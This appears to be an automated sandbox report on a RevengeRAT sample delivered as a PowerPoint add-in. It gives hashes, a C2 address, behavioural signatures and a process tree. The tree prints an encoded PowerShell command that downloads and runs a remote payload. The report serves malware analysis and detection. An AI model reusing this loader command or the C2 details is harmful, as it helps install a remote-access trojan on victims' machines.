Analysis

  • max time kernel
    15s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    07/08/2024, 10:23

General

  • Target

    7e03e0cd53a9cb342d2fd8f709351618fcd6b79eff3d5e88705a699c28e6a9c6.ppam

  • Size

    42KB

  • MD5

    d8054ddc67b3d0d3e1f1aa109a3d5e7c

  • SHA1

    58a0b86134040cbed1da7c37a47dfe40b8f3e265

  • SHA256

    7e03e0cd53a9cb342d2fd8f709351618fcd6b79eff3d5e88705a699c28e6a9c6

  • SHA512

    29b7267bda6d5061526331cc8123ed8af3fbe441d739e0fc27184ab0342b06b3cab6360a6f5bac664d86a69b26897b195a0ebc7167145b4e22fba2891fa39b1a

  • SSDEEP

    768:VPlcbastluOGcXwktQArcyIsZ0NV3poringSYdvy/2lUr29oOYc6:Vd47laitbhw38U46e02Za

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.173.171:5222

Mutex

8b39f6245ef24a80

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\7e03e0cd53a9cb342d2fd8f709351618fcd6b79eff3d5e88705a699c28e6a9c6.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2208
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAE4ATwBWAE8AUgBFAFYARQBSAEcARQBNAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADcAOQA2AGYAZQA4ADIANAAtADMAZQA0ADUALQA0ADYANgBkAC0AOQBkADYANgAtADYAOAAxADQAZQBhADIANwAyAGYAYQA0AA0ACgAnACkAOwAgAA0ACgBkAG4ATgB0AFIAcAB0AFcAUgBGAEQAaQBVAHAAVQBjAEcASABMAHoAbwBEAFUARgBvAEUAQwBRAHoAQwBMAEYAaABWAGkAVAB2AFMASABmAHQAYwBwAFoARQBVAFIARABOAGIAQgBkAEoAcwBwAGIAQQBpAGUAUwBNAEkAYQBuAFUAQwBiAFoAYgBjAHMATwBFAEcARgB1AFMADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2460
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2684

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2272-0-0x000000002D801000-0x000000002D802000-memory.dmp

      Filesize

      4KB

    • memory/2272-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2272-2-0x0000000072B9D000-0x0000000072BA8000-memory.dmp

      Filesize

      44KB

    • memory/2272-4-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-6-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-7-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-5-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-8-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-18-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-17-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-11-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/2272-47-0x0000000072B9D000-0x0000000072BA8000-memory.dmp

      Filesize

      44KB

    • memory/2272-46-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2460-30-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-32-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-26-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-24-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-22-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-21-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2460-28-0x0000000002820000-0x0000000002838000-memory.dmp

      Filesize

      96KB

    • memory/2684-39-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-44-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-43-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-37-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-35-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-33-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2684-41-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2684-42-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB